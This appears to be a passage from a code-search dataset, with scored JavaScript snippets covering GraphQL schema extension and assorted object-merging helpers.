{\n description: _value.description,\n value: _value.value,\n deprecationReason: _value.deprecationReason,\n astNode: _value.astNode\n };\n } // If there are any extensions to the values, apply those here.\n\n } catch (err) {\n _didIteratorError5 = true;\n _iteratorError5 = err;\n } finally {\n try {\n if (!_iteratorNormalCompletion5 && _iterator5.return != null) {\n _iterator5.return();\n }\n } finally {\n if (_didIteratorError5) {\n throw _iteratorError5;\n }\n }\n }\n\n var extensions = typeExtensionsMap[type.name];\n\n if (extensions) {\n var _iteratorNormalCompletion6 = true;\n var _didIteratorError6 = false;\n var _iteratorError6 = undefined;\n\n try {\n for (var _iterator6 = extensions[Symbol.iterator](), _step6; !(_iteratorNormalCompletion6 = (_step6 = _iterator6.next()).done); _iteratorNormalCompletion6 = true) {\n var extension = _step6.value;\n var _iteratorNormalCompletion7 = true;\n var _didIteratorError7 = false;\n var _iteratorError7 = undefined;\n\n try {\n for (var _iterator7 = extension.values[Symbol.iterator](), _step7; !(_iteratorNormalCompletion7 = (_step7 = _iterator7.next()).done); _iteratorNormalCompletion7 = true) {\n var value = _step7.value;\n newValueMap[value.name.value] = astBuilder.buildEnumValue(value);\n }\n } catch (err) {\n _didIteratorError7 = true;\n _iteratorError7 = err;\n } finally {\n try {\n if (!_iteratorNormalCompletion7 && _iterator7.return != null) {\n _iterator7.return();\n }\n } finally {\n if (_didIteratorError7) {\n throw _iteratorError7;\n }\n }\n }\n }\n } catch (err) {\n _didIteratorError6 = true;\n _iteratorError6 = err;\n } finally {\n try {\n if (!_iteratorNormalCompletion6 && _iterator6.return != null) {\n _iterator6.return();\n }\n } finally {\n if (_didIteratorError6) {\n throw _iteratorError6;\n }\n }\n }\n }\n\n return newValueMap;\n }\n\n function extendScalarType(type) {\n var name = type.name;\n var extensionASTNodes = typeExtensionsMap[name] ? type.extensionASTNodes ? type.extensionASTNodes.concat(typeExtensionsMap[name]) : typeExtensionsMap[name] : type.extensionASTNodes;\n return new _definition.GraphQLScalarType({\n name: name,\n description: type.description,\n astNode: type.astNode,\n extensionASTNodes: extensionASTNodes,\n serialize: type.serialize,\n parseValue: type.parseValue,\n parseLiteral: type.parseLiteral\n });\n }\n\n function extendObjectType(type) {\n var name = type.name;\n var extensionASTNodes = typeExtensionsMap[name] ? type.extensionASTNodes ? type.extensionASTNodes.concat(typeExtensionsMap[name]) : typeExtensionsMap[name] : type.extensionASTNodes;\n return new _definition.GraphQLObjectType({\n name: name,\n description: type.description,\n interfaces: function interfaces() {\n return extendImplementedInterfaces(type);\n },\n fields: function fields() {\n return extendFieldMap(type);\n },\n astNode: type.astNode,\n extensionASTNodes: extensionASTNodes,\n isTypeOf: type.isTypeOf\n });\n }\n\n function extendArgs(args) {\n return (0, _keyValMap.default)(args, function (arg) {\n return arg.name;\n }, function (arg) {\n return {\n type: extendType(arg.type),\n defaultValue: arg.defaultValue,\n description: arg.description,\n astNode: arg.astNode\n };\n });\n }\n\n function extendInterfaceType(type) {\n var name = type.name;\n var extensionASTNodes = typeExtensionsMap[name] ? type.extensionASTNodes ? type.extensionASTNodes.concat(typeExtensionsMap[name]) : typeExtensionsMap[name] : type.extensionASTNodes;\n return new _definition.GraphQLInterfaceType({\n name: type.name,\n description: type.description,\n fields: function fields() {\n return extendFieldMap(type);\n },\n astNode: type.astNode,\n extensionASTNodes: extensionASTNodes,\n resolveType: type.resolveType\n });\n }\n\n function extendUnionType(type) {\n var name = type.name;\n var extensionASTNodes = typeExtensionsMap[name] ? type.extensionASTNodes ? type.extensionASTNodes.concat(typeExtensionsMap[name]) : typeExtensionsMap[name] : type.extensionASTNodes;\n return new _definition.GraphQLUnionType({\n name: name,\n description: type.description,\n types: function types() {\n return extendPossibleTypes(type);\n },\n astNode: type.astNode,\n resolveType: type.resolveType,\n extensionASTNodes: extensionASTNodes\n });\n }\n\n function extendPossibleTypes(type) {\n var possibleTypes = type.getTypes().map(extendNamedType); // If there are any extensions to the union, apply those here.\n\n var extensions = typeExtensionsMap[type.name];\n\n if (extensions) {\n var _iteratorNormalCompletion8 = true;\n var _didIteratorError8 = false;\n var _iteratorError8 = undefined;\n\n try {\n for (var _iterator8 = extensions[Symbol.iterator](), _step8; !(_iteratorNormalCompletion8 = (_step8 = _iterator8.next()).done); _iteratorNormalCompletion8 = true) {\n var extension = _step8.value;\n var _iteratorNormalCompletion9 = true;\n var _didIteratorError9 = false;\n var _iteratorError9 = undefined;\n\n try {\n for (var _iterator9 = extension.types[Symbol.iterator](), _step9; !(_iteratorNormalCompletion9 = (_step9 = _iterator9.next()).done); _iteratorNormalCompletion9 = true) {\n var namedType = _step9.value;\n // Note: While this could make early assertions to get the correctly\n // typed values, that would throw immediately while type system\n // validation with validateSchema() will produce more actionable results.\n possibleTypes.push(astBuilder.buildType(namedType));\n }\n } catch (err) {\n _didIteratorError9 = true;\n _iteratorError9 = err;\n } finally {\n try {\n if (!_iteratorNormalCompletion9 && _iterator9.return != null) {\n _iterator9.return();\n }\n } finally {\n if (_didIteratorError9) {\n throw _iteratorError9;\n }\n }\n }\n }\n } catch (err) {\n _didIteratorError8 = true;\n _iteratorError8 = err;\n } finally {\n try {\n if (!_iteratorNormalCompletion8 && _iterator8.return != null) {\n _iterator8.return();\n }\n } finally {\n if (_didIteratorError8) {\n throw _iteratorError8;\n }\n }\n }\n }\n\n return possibleTypes;\n }\n\n function extendImplementedInterfaces(type) {\n var interfaces = type.getInterfaces().map(extendNamedType); // If there are any extensions to the interfaces, apply those here.\n\n var extensions = typeExtensionsMap[type.name];\n\n if (extensions) {\n var _iteratorNormalCompletion10 = true;\n var _didIteratorError10 = false;\n var _iteratorError10 = undefined;\n\n try {\n for (var _iterator10 = extensions[Symbol.iterator](), _step10; !(_iteratorNormalCompletion10 = (_step10 = _iterator10.next()).done); _iteratorNormalCompletion10 = true) {\n var extension = _step10.value;\n var _iteratorNormalCompletion11 = true;\n var _didIteratorError11 = false;\n var _iteratorError11 = undefined;\n\n try {\n for (var _iterator11 = extension.interfaces[Symbol.iterator](), _step11; !(_iteratorNormalCompletion11 = (_step11 = _iterator11.next()).done); _iteratorNormalCompletion11 = true) {\n var namedType = _step11.value;\n // Note: While this could make early assertions to get the correctly\n // typed values, that would throw immediately while type system\n // validation with validateSchema() will produce more actionable results.\n interfaces.push(astBuilder.buildType(namedType));\n }\n } catch (err) {\n _didIteratorError11 = true;\n _iteratorError11 = err;\n } finally {\n try {\n if (!_iteratorNormalCompletion11 && _iterator11.return != null) {\n _iterator11.return();\n }\n } finally {\n if (_didIteratorError11) {\n throw _iteratorError11;\n }\n }\n }\n }\n } catch (err) {\n _didIteratorError10 = true;\n _iteratorError10 = err;\n } finally {\n try {\n if (!_iteratorNormalCompletion10 && _iterator10.return != null) {\n _iterator10.return();\n }\n } finally {\n if (_didIteratorError10) {\n throw _iteratorError10;\n }\n }\n }\n }\n\n return interfaces;\n }\n\n function extendFieldMap(type) {\n var newFieldMap = (0, _mapValue.default)(type.getFields(), function (field) {\n return {\n description: field.description,\n deprecationReason: field.deprecationReason,\n type: extendType(field.type),\n args: extendArgs(field.args),\n astNode: field.astNode,\n resolve: field.resolve\n };\n }); // If there are any extensions to the fields, apply those here.\n\n var extensions = typeExtensionsMap[type.name];\n\n if (extensions) {\n var _iteratorNormalCompletion12 = true;\n var _didIteratorError12 = false;\n var _iteratorError12 = undefined;\n\n try {\n for (var _iterator12 = extensions[Symbol.iterator](), _step12; !(_iteratorNormalCompletion12 = (_step12 = _iterator12.next()).done); _iteratorNormalCompletion12 = true) {\n var extension = _step12.value;\n var _iteratorNormalCompletion13 = true;\n var _didIteratorError13 = false;\n var _iteratorError13 = undefined;\n\n try {\n for (var _iterator13 = extension.fields[Symbol.iterator](), _step13; !(_iteratorNormalCompletion13 = (_step13 = _iterator13.next()).done); _iteratorNormalCompletion13 = true) {\n var field = _step13.value;\n newFieldMap[field.name.value] = astBuilder.buildField(field);\n }\n } catch (err) {\n _didIteratorError13 = true;\n _iteratorError13 = err;\n } finally {\n try {\n if (!_iteratorNormalCompletion13 && _iterator13.return != null) {\n _iterator13.return();\n }\n } finally {\n if (_didIteratorError13) {\n throw _iteratorError13;\n }\n }\n }\n }\n } catch (err) {\n _didIteratorError12 = true;\n _iteratorError12 = err;\n } finally {\n try {\n if (!_iteratorNormalCompletion12 && _iterator12.return != null) {\n _iterator12.return();\n }\n } finally {\n if (_didIteratorError12) {\n throw _iteratorError12;\n }\n }\n }\n }\n\n return newFieldMap;\n }\n\n function extendType(typeDef) {\n if ((0, _definition.isListType)(typeDef)) {\n return (0, _definition.GraphQLList)(extendType(typeDef.ofType));\n }\n\n if ((0, _definition.isNonNullType)(typeDef)) {\n return (0, _definition.GraphQLNonNull)(extendType(typeDef.ofType));\n }\n\n return extendNamedType(typeDef);\n }\n}", "title": "" }, { "docid": "d946c9dcdfd9f16cc0f280fcfd359a7b", "score": "0.46540397", "text": "function merge(a, b) {\n return keys(b).reduce((c, k) => {\n // no merge\n if (a[k] === b[k]) {\n return c;\n // deep merge\n } else if ((isPojo(a[k]) && isPojo(b[k])) || (isArray(a[k]) && isArray(b[k]))) {\n return assign(c, { [k]: merge(a[k], b[k]) });\n // override merge\n } else {\n return assign(c, { [k]: b[k] });\n }\n }, isArray(a) ? [...a] : { ...a });\n}", "title": "" }, { "docid": "13447710907a7dcce4a1e5018287a271", "score": "0.464966", "text": "function extendSchema(schema, documentAST) {\n !(schema instanceof _schema.GraphQLSchema) ? (0, _invariant2.default)(0, 'Must provide valid GraphQLSchema') : void 0;\n\n !(documentAST && documentAST.kind === Kind.DOCUMENT) ? (0, _invariant2.default)(0, 'Must provide valid Document AST') : void 0;\n\n // Collect the type definitions and extensions found in the document.\n var typeDefinitionMap = Object.create(null);\n var typeExtensionsMap = Object.create(null);\n\n // New directives and types are separate because a directives and types can\n // have the same name. For example, a type named \"skip\".\n var directiveDefinitions = [];\n\n for (var i = 0; i < documentAST.definitions.length; i++) {\n var def = documentAST.definitions[i];\n switch (def.kind) {\n case Kind.OBJECT_TYPE_DEFINITION:\n case Kind.INTERFACE_TYPE_DEFINITION:\n case Kind.ENUM_TYPE_DEFINITION:\n case Kind.UNION_TYPE_DEFINITION:\n case Kind.SCALAR_TYPE_DEFINITION:\n case Kind.INPUT_OBJECT_TYPE_DEFINITION:\n // Sanity check that none of the defined types conflict with the\n // schema's existing types.\n var typeName = def.name.value;\n if (schema.getType(typeName)) {\n throw new _GraphQLError.GraphQLError('Type \"' + typeName + '\" already exists in the schema. It cannot also ' + 'be defined in this type definition.', [def]);\n }\n typeDefinitionMap[typeName] = def;\n break;\n case Kind.TYPE_EXTENSION_DEFINITION:\n // Sanity check that this type extension exists within the\n // schema's existing types.\n var extendedTypeName = def.definition.name.value;\n var existingType = schema.getType(extendedTypeName);\n if (!existingType) {\n throw new _GraphQLError.GraphQLError('Cannot extend type \"' + extendedTypeName + '\" because it does not ' + 'exist in the existing schema.', [def.definition]);\n }\n if (!(existingType instanceof _definition.GraphQLObjectType)) {\n throw new _GraphQLError.GraphQLError('Cannot extend non-object type \"' + extendedTypeName + '\".', [def.definition]);\n }\n var extensions = typeExtensionsMap[extendedTypeName];\n if (extensions) {\n extensions.push(def);\n } else {\n extensions = [def];\n }\n typeExtensionsMap[extendedTypeName] = extensions;\n break;\n case Kind.DIRECTIVE_DEFINITION:\n var directiveName = def.name.value;\n var existingDirective = schema.getDirective(directiveName);\n if (existingDirective) {\n throw new _GraphQLError.GraphQLError('Directive \"' + directiveName + '\" already exists in the schema. It ' + 'cannot be redefined.', [def]);\n }\n directiveDefinitions.push(def);\n break;\n }\n }\n\n // If this document contains no new types, extensions, or directives then\n // return the same unmodified GraphQLSchema instance.\n if (Object.keys(typeExtensionsMap).length === 0 && Object.keys(typeDefinitionMap).length === 0 && directiveDefinitions.length === 0) {\n return schema;\n }\n\n // A cache to use to store the actual GraphQLType definition objects by name.\n // Initialize to the GraphQL built in scalars and introspection types. All\n // functions below are inline so that this type def cache is within the scope\n // of the closure.\n var typeDefCache = {\n String: _scalars.GraphQLString,\n Int: _scalars.GraphQLInt,\n Float: _scalars.GraphQLFloat,\n Boolean: _scalars.GraphQLBoolean,\n ID: _scalars.GraphQLID,\n __Schema: _introspection.__Schema,\n __Directive: _introspection.__Directive,\n __DirectiveLocation: _introspection.__DirectiveLocation,\n __Type: _introspection.__Type,\n __Field: _introspection.__Field,\n __InputValue: _introspection.__InputValue,\n __EnumValue: _introspection.__EnumValue,\n __TypeKind: _introspection.__TypeKind\n };\n\n // Get the root Query, Mutation, and Subscription object types.\n var queryType = getTypeFromDef(schema.getQueryType());\n\n var existingMutationType = schema.getMutationType();\n var mutationType = existingMutationType ? getTypeFromDef(existingMutationType) : null;\n\n var existingSubscriptionType = schema.getSubscriptionType();\n var subscriptionType = existingSubscriptionType ? getTypeFromDef(existingSubscriptionType) : null;\n\n // Iterate through all types, getting the type definition for each, ensuring\n // that any type not directly referenced by a field will get created.\n var typeMap = schema.getTypeMap();\n var types = Object.keys(typeMap).map(function (typeName) {\n return getTypeFromDef(typeMap[typeName]);\n });\n\n // Do the same with new types, appending to the list of defined types.\n Object.keys(typeDefinitionMap).forEach(function (typeName) {\n types.push(getTypeFromAST(typeDefinitionMap[typeName]));\n });\n\n // Then produce and return a Schema with these types.\n return new _schema.GraphQLSchema({\n query: queryType,\n mutation: mutationType,\n subscription: subscriptionType,\n types: types,\n directives: getMergedDirectives(),\n astNode: schema.astNode\n });\n\n // Below are functions used for producing this schema that have closed over\n // this scope and have access to the schema, cache, and newly defined types.\n\n function getMergedDirectives() {\n var existingDirectives = schema.getDirectives();\n !existingDirectives ? (0, _invariant2.default)(0, 'schema must have default directives') : void 0;\n\n var newDirectives = directiveDefinitions.map(function (directiveNode) {\n return getDirective(directiveNode);\n });\n return existingDirectives.concat(newDirectives);\n }\n\n function getTypeFromDef(typeDef) {\n var type = _getNamedType(typeDef.name);\n !type ? (0, _invariant2.default)(0, 'Missing type from schema') : void 0;\n return type;\n }\n\n function getTypeFromAST(node) {\n var type = _getNamedType(node.name.value);\n if (!type) {\n throw new _GraphQLError.GraphQLError('Unknown type: \"' + node.name.value + '\". Ensure that this type exists ' + 'either in the original schema, or is added in a type definition.', [node]);\n }\n return type;\n }\n\n function getObjectTypeFromAST(node) {\n var type = getTypeFromAST(node);\n !(type instanceof _definition.GraphQLObjectType) ? (0, _invariant2.default)(0, 'Must be Object type.') : void 0;\n return type;\n }\n\n function getInterfaceTypeFromAST(node) {\n var type = getTypeFromAST(node);\n !(type instanceof _definition.GraphQLInterfaceType) ? (0, _invariant2.default)(0, 'Must be Interface type.') : void 0;\n return type;\n }\n\n function getInputTypeFromAST(node) {\n return (0, _definition.assertInputType)(getTypeFromAST(node));\n }\n\n function getOutputTypeFromAST(node) {\n return (0, _definition.assertOutputType)(getTypeFromAST(node));\n }\n\n // Given a name, returns a type from either the existing schema or an\n // added type.\n function _getNamedType(typeName) {\n var cachedTypeDef = typeDefCache[typeName];\n if (cachedTypeDef) {\n return cachedTypeDef;\n }\n\n var existingType = schema.getType(typeName);\n if (existingType) {\n var typeDef = extendType(existingType);\n typeDefCache[typeName] = typeDef;\n return typeDef;\n }\n\n var typeNode = typeDefinitionMap[typeName];\n if (typeNode) {\n var _typeDef = buildType(typeNode);\n typeDefCache[typeName] = _typeDef;\n return _typeDef;\n }\n }\n\n // Given a type's introspection result, construct the correct\n // GraphQLType instance.\n function extendType(type) {\n if (type instanceof _definition.GraphQLObjectType) {\n return extendObjectType(type);\n }\n if (type instanceof _definition.GraphQLInterfaceType) {\n return extendInterfaceType(type);\n }\n if (type instanceof _definition.GraphQLUnionType) {\n return extendUnionType(type);\n }\n return type;\n }\n\n function extendObjectType(type) {\n var name = type.name;\n var extensionASTNodes = type.extensionASTNodes;\n if (typeExtensionsMap[name]) {\n extensionASTNodes = extensionASTNodes.concat(typeExtensionsMap[name]);\n }\n\n return new _definition.GraphQLObjectType({\n name: name,\n description: type.description,\n interfaces: function interfaces() {\n return extendImplementedInterfaces(type);\n },\n fields: function fields() {\n return extendFieldMap(type);\n },\n astNode: type.astNode,\n extensionASTNodes: extensionASTNodes,\n isTypeOf: type.isTypeOf\n });\n }\n\n function extendInterfaceType(type) {\n return new _definition.GraphQLInterfaceType({\n name: type.name,\n description: type.description,\n fields: function fields() {\n return extendFieldMap(type);\n },\n astNode: type.astNode,\n resolveType: type.resolveType\n });\n }\n\n function extendUnionType(type) {\n return new _definition.GraphQLUnionType({\n name: type.name,\n description: type.description,\n types: type.getTypes().map(getTypeFromDef),\n astNode: type.astNode,\n resolveType: type.resolveType\n });\n }\n\n function extendImplementedInterfaces(type) {\n var interfaces = type.getInterfaces().map(getTypeFromDef);\n\n // If there are any extensions to the interfaces, apply those here.\n var extensions = typeExtensionsMap[type.name];\n if (extensions) {\n extensions.forEach(function (extension) {\n extension.definition.interfaces.forEach(function (namedType) {\n var interfaceName = namedType.name.value;\n if (interfaces.some(function (def) {\n return def.name === interfaceName;\n })) {\n throw new _GraphQLError.GraphQLError('Type \"' + type.name + '\" already implements \"' + interfaceName + '\". ' + 'It cannot also be implemented in this type extension.', [namedType]);\n }\n interfaces.push(getInterfaceTypeFromAST(namedType));\n });\n });\n }\n\n return interfaces;\n }\n\n function extendFieldMap(type) {\n var newFieldMap = Object.create(null);\n var oldFieldMap = type.getFields();\n Object.keys(oldFieldMap).forEach(function (fieldName) {\n var field = oldFieldMap[fieldName];\n newFieldMap[fieldName] = {\n description: field.description,\n deprecationReason: field.deprecationReason,\n type: extendFieldType(field.type),\n args: (0, _keyMap2.default)(field.args, function (arg) {\n return arg.name;\n }),\n astNode: field.astNode,\n resolve: field.resolve\n };\n });\n\n // If there are any extensions to the fields, apply those here.\n var extensions = typeExtensionsMap[type.name];\n if (extensions) {\n extensions.forEach(function (extension) {\n extension.definition.fields.forEach(function (field) {\n var fieldName = field.name.value;\n if (oldFieldMap[fieldName]) {\n throw new _GraphQLError.GraphQLError('Field \"' + type.name + '.' + fieldName + '\" already exists in the ' + 'schema. It cannot also be defined in this type extension.', [field]);\n }\n newFieldMap[fieldName] = {\n description: (0, _buildASTSchema.getDescription)(field),\n type: buildOutputFieldType(field.type),\n args: buildInputValues(field.arguments),\n deprecationReason: (0, _buildASTSchema.getDeprecationReason)(field),\n astNode: field\n };\n });\n });\n }\n\n return newFieldMap;\n }\n\n function extendFieldType(typeDef) {\n if (typeDef instanceof _definition.GraphQLList) {\n return new _definition.GraphQLList(extendFieldType(typeDef.ofType));\n }\n if (typeDef instanceof _definition.GraphQLNonNull) {\n return new _definition.GraphQLNonNull(extendFieldType(typeDef.ofType));\n }\n return getTypeFromDef(typeDef);\n }\n\n function buildType(typeNode) {\n switch (typeNode.kind) {\n case Kind.OBJECT_TYPE_DEFINITION:\n return buildObjectType(typeNode);\n case Kind.INTERFACE_TYPE_DEFINITION:\n return buildInterfaceType(typeNode);\n case Kind.UNION_TYPE_DEFINITION:\n return buildUnionType(typeNode);\n case Kind.SCALAR_TYPE_DEFINITION:\n return buildScalarType(typeNode);\n case Kind.ENUM_TYPE_DEFINITION:\n return buildEnumType(typeNode);\n case Kind.INPUT_OBJECT_TYPE_DEFINITION:\n return buildInputObjectType(typeNode);\n }\n throw new TypeError('Unknown type kind ' + typeNode.kind);\n }\n\n function buildObjectType(typeNode) {\n return new _definition.GraphQLObjectType({\n name: typeNode.name.value,\n description: (0, _buildASTSchema.getDescription)(typeNode),\n interfaces: function interfaces() {\n return buildImplementedInterfaces(typeNode);\n },\n fields: function fields() {\n return buildFieldMap(typeNode);\n },\n astNode: typeNode\n });\n }\n\n function buildInterfaceType(typeNode) {\n return new _definition.GraphQLInterfaceType({\n name: typeNode.name.value,\n description: (0, _buildASTSchema.getDescription)(typeNode),\n fields: function fields() {\n return buildFieldMap(typeNode);\n },\n astNode: typeNode,\n resolveType: cannotExecuteExtendedSchema\n });\n }\n\n function buildUnionType(typeNode) {\n return new _definition.GraphQLUnionType({\n name: typeNode.name.value,\n description: (0, _buildASTSchema.getDescription)(typeNode),\n types: typeNode.types.map(getObjectTypeFromAST),\n astNode: typeNode,\n resolveType: cannotExecuteExtendedSchema\n });\n }\n\n function buildScalarType(typeNode) {\n return new _definition.GraphQLScalarType({\n name: typeNode.name.value,\n description: (0, _buildASTSchema.getDescription)(typeNode),\n astNode: typeNode,\n serialize: function serialize(id) {\n return id;\n },\n // Note: validation calls the parse functions to determine if a\n // literal value is correct. Returning null would cause use of custom\n // scalars to always fail validation. Returning false causes them to\n // always pass validation.\n parseValue: function parseValue() {\n return false;\n },\n parseLiteral: function parseLiteral() {\n return false;\n }\n });\n }\n\n function buildEnumType(typeNode) {\n return new _definition.GraphQLEnumType({\n name: typeNode.name.value,\n description: (0, _buildASTSchema.getDescription)(typeNode),\n values: (0, _keyValMap2.default)(typeNode.values, function (enumValue) {\n return enumValue.name.value;\n }, function (enumValue) {\n return {\n description: (0, _buildASTSchema.getDescription)(enumValue),\n deprecationReason: (0, _buildASTSchema.getDeprecationReason)(enumValue),\n astNode: enumValue\n };\n }),\n astNode: typeNode\n });\n }\n\n function buildInputObjectType(typeNode) {\n return new _definition.GraphQLInputObjectType({\n name: typeNode.name.value,\n description: (0, _buildASTSchema.getDescription)(typeNode),\n fields: function fields() {\n return buildInputValues(typeNode.fields);\n },\n astNode: typeNode\n });\n }\n\n function getDirective(directiveNode) {\n return new _directives.GraphQLDirective({\n name: directiveNode.name.value,\n description: (0, _buildASTSchema.getDescription)(directiveNode),\n locations: directiveNode.locations.map(function (node) {\n return node.value;\n }),\n args: directiveNode.arguments && buildInputValues(directiveNode.arguments),\n astNode: directiveNode\n });\n }\n\n function buildImplementedInterfaces(typeNode) {\n return typeNode.interfaces && typeNode.interfaces.map(getInterfaceTypeFromAST);\n }\n\n function buildFieldMap(typeNode) {\n return (0, _keyValMap2.default)(typeNode.fields, function (field) {\n return field.name.value;\n }, function (field) {\n return {\n type: buildOutputFieldType(field.type),\n description: (0, _buildASTSchema.getDescription)(field),\n args: buildInputValues(field.arguments),\n deprecationReason: (0, _buildASTSchema.getDeprecationReason)(field),\n astNode: field\n };\n });\n }\n\n function buildInputValues(values) {\n return (0, _keyValMap2.default)(values, function (value) {\n return value.name.value;\n }, function (value) {\n var type = buildInputFieldType(value.type);\n return {\n type: type,\n description: (0, _buildASTSchema.getDescription)(value),\n defaultValue: (0, _valueFromAST.valueFromAST)(value.defaultValue, type),\n astNode: value\n };\n });\n }\n\n function buildInputFieldType(typeNode) {\n if (typeNode.kind === Kind.LIST_TYPE) {\n return new _definition.GraphQLList(buildInputFieldType(typeNode.type));\n }\n if (typeNode.kind === Kind.NON_NULL_TYPE) {\n var nullableType = buildInputFieldType(typeNode.type);\n !!(nullableType instanceof _definition.GraphQLNonNull) ? (0, _invariant2.default)(0, 'Must be nullable') : void 0;\n return new _definition.GraphQLNonNull(nullableType);\n }\n return getInputTypeFromAST(typeNode);\n }\n\n function buildOutputFieldType(typeNode) {\n if (typeNode.kind === Kind.LIST_TYPE) {\n return new _definition.GraphQLList(buildOutputFieldType(typeNode.type));\n }\n if (typeNode.kind === Kind.NON_NULL_TYPE) {\n var nullableType = buildOutputFieldType(typeNode.type);\n !!(nullableType instanceof _definition.GraphQLNonNull) ? (0, _invariant2.default)(0, 'Must be nullable') : void 0;\n return new _definition.GraphQLNonNull(nullableType);\n }\n return getOutputTypeFromAST(typeNode);\n }\n}", "title": "" }, { "docid": "aa4d2ca9b14e4adefe2392b4afaebf11", "score": "0.46334943", "text": "function deepMergeStyles(dest, src) {\n\t Object.keys(src).forEach(function (expr) {\n\t dest[expr] = dest[expr] || {};\n\t Object.keys(src[expr]).forEach(function (type) {\n\t dest[expr][type] = dest[expr][type] || {};\n\t Object.assign(dest[expr][type], src[expr][type]);\n\t });\n\t });\n\t}", "title": "" }, { "docid": "436fe8f32b7038d69b8eb777a7260354", "score": "0.46265915", "text": "function getMergedDirectives() {\n\t var existingDirectives = schema.getDirectives();\n\t (0, _invariant2.default)(existingDirectives, 'schema must have default directives');\n\n\t var newDirectives = directiveDefinitions.map(function (directiveNode) {\n\t return getDirective(directiveNode);\n\t });\n\t return existingDirectives.concat(newDirectives);\n\t }", "title": "" }, { "docid": "be4e74639a893c59321c18a68447b8c2", "score": "0.4625794", "text": "function getMergedDirectives() {\n var existingDirectives = schema.getDirectives();\n !existingDirectives ? (0, _invariant2.default)(0, 'schema must have default directives') : void 0;\n\n var newDirectives = directiveDefinitions.map(function (directiveNode) {\n return getDirective(directiveNode);\n });\n return existingDirectives.concat(newDirectives);\n }", "title": "" }, { "docid": "1d6c33a1ec0a98055b63ee3a883bfcb2", "score": "0.461278", "text": "function merge_databases(db_main, db_sub, server) {\r\n let keys = Object.keys(db_sub);\r\n let mainKeys = Object.keys(db_main).map((d) => { return +d; }).sort((a,b) => { return a-b; });\r\n for (var item of keys) { //iterate through everything in object\r\n var id = +item;\r\n // if (db_main[item] !== undefined) { //exists, so just add date add time\r\n if(_.sortedIndexOf(mainKeys,id) > -1){\r\n if (db_main[item].server.indexOf(server) == -1) {\r\n db_main[item].server.push(server);\r\n }\r\n } else { //doesn't exist, so add it\r\n db_main[item] = db_sub[item];\r\n db_main[item].server = [server];\r\n }\r\n delete db_sub[item];\r\n }\r\n }", "title": "" }, { "docid": "dd2ddd1f5e64383656a98d0068cf71af", "score": "0.46059272", "text": "function loadSchemaSync(schemaPointers, options) {\n const sources = loadTypedefsSync(schemaPointers, {\n filterKinds: OPERATION_KINDS,\n ...options,\n });\n const { schemas, typeDefs } = collectSchemasAndTypeDefs(sources);\n const mergeSchemasOptions = {\n schemas,\n typeDefs,\n ...options,\n };\n const schema = merge.mergeSchemas(mergeSchemasOptions);\n if (options === null || options === void 0 ? void 0 : options.includeSources) {\n includeSources(schema, sources);\n }\n return schema;\n}", "title": "" }, { "docid": "771cc6810485d836f7e00caee01e1683", "score": "0.4593318", "text": "function merge(a, b) {\n\n if (b) {\n for (var key in b) {\n // avoid immediately resolving b's contents\n a.__defineGetter__(key, function() {\n return b[key];\n });\n }\n }\n return a;\n }", "title": "" }, { "docid": "72fe443bddc2be49a2daab8633cac8e5", "score": "0.45898345", "text": "function merge(obj1, obj2) {\n\t\tfor (var attrname in obj2) { obj1[attrname] = obj2[attrname]; }\n\t\treturn obj1;\n\t}", "title": "" }, { "docid": "5d06bcd308678f9b86327602077b11c6", "score": "0.45852926", "text": "function addType (instanceType, schemaType) {\n if (schemaType === undefined) {\n // if we are adding a type to an empty schema, its type will be undefined\n return instanceType;\n }\n else if (Array.isArray(schemaType)) {\n return schemaType.concat(instanceType);\n }\n else {\n return [schemaType, instanceType];\n }\n}", "title": "" }, { "docid": "ba08cfe751caa54f62682a5d0500260f", "score": "0.45841995", "text": "function objMerge(a, b) {\n Object.keys(b).forEach(function (k) {\n a[k] = b[k];\n });\n return a;\n}", "title": "" }, { "docid": "e2265d0efa67c043dccce751c2269201", "score": "0.45837656", "text": "function merge(obj1, obj2) {\n var obj3 = {};\n\n mergeInto(obj3, obj1);\n mergeInto(obj3, obj2);\n\n return obj3;\n}", "title": "" }, { "docid": "ded7c4d7bb96cbb793e8acda35df31a5", "score": "0.4583331", "text": "function combineObjectsAndAddAttribute(obj1,obj2) {}", "title": "" }, { "docid": "170f694690bcf059f9deff26af2b6d93", "score": "0.4578722", "text": "function mergeGedcomx(gx1, gx2) {\n function checkForIdCollisions(listName, list1, list2) {\n let ids1 = new Set();\n for (let element of list1) {\n if (element.id) {\n if (ids1.has(element.id)) {\n throw new Error(\"Odd. Two \" + listName + \" with same ID in gedcomx1\");\n }\n ids1.add(element.id);\n }\n }\n for (let element of list2) {\n if (element.id && ids1.has(element.id)) {\n // If you hit this error, then take the time to write the code so that when merging two GedcomX objects,\n // we make sure all of the ids of all kinds are unique, and that all of the references to them use the\n // new IDs. (i.e., relationship.person1/2=>new person IDs; source[references] => new sourceDescription ids; place references=>new place description ids;\n // and attributions => new agent Ids.\n throw new Error(\"Error: Same id '\" + element.id + \"' in \" + listName + \" list in Gedcomx1 and Gedcomx2. Fancier code needed...\");\n }\n }\n }\n\n function mergeArrays(listName) {\n let list1 = gx1[listName];\n let list2 = gx2[listName];\n if (list2 && list2.length > 0) {\n if (!list1 || list1.length === 0) {\n gx1[listName] = gx2[listName];\n }\n else {\n checkForIdCollisions(listName, list1, list2);\n list1.push(...list2);\n }\n }\n }\n\n if (!gx2) {\n return; // nothing to do\n }\n for (let listName of [\"persons\", \"relationships\", \"sourceDescriptions\", \"agents\", \"events\", \"places\", \"documents\", \"collections\", \"fields\", \"recordDescriptors\"]) {\n mergeArrays(listName);\n }\n}", "title": "" }, { "docid": "5104b066a47b72ed352806ab8eeeb31f", "score": "0.45760557", "text": "function getMergedDirectives() {\n\t var existingDirectives = schema.getDirectives();\n\t !existingDirectives ? invariant(0, 'schema must have default directives') : void 0;\n\n\t var newDirectives = directiveDefinitions.map(function (directiveNode) {\n\t return definitionBuilder.buildDirective(directiveNode);\n\t });\n\t return existingDirectives.concat(newDirectives);\n\t }", "title": "" }, { "docid": "51d029462183258601b3952cbefd3584", "score": "0.4571091", "text": "function doTypesOverlap(schema, typeA, typeB) {\n // Equivalent types overlap\n if (typeA === typeB) {\n return true;\n }\n\n if (Object(_type_definition_mjs__WEBPACK_IMPORTED_MODULE_0__[\"isAbstractType\"])(typeA)) {\n if (Object(_type_definition_mjs__WEBPACK_IMPORTED_MODULE_0__[\"isAbstractType\"])(typeB)) {\n // If both types are abstract, then determine if there is any intersection\n // between possible concrete types of each.\n return schema.getPossibleTypes(typeA).some(function (type) {\n return schema.isSubType(typeB, type);\n });\n } // Determine if the latter type is a possible concrete type of the former.\n\n\n return schema.isSubType(typeA, typeB);\n }\n\n 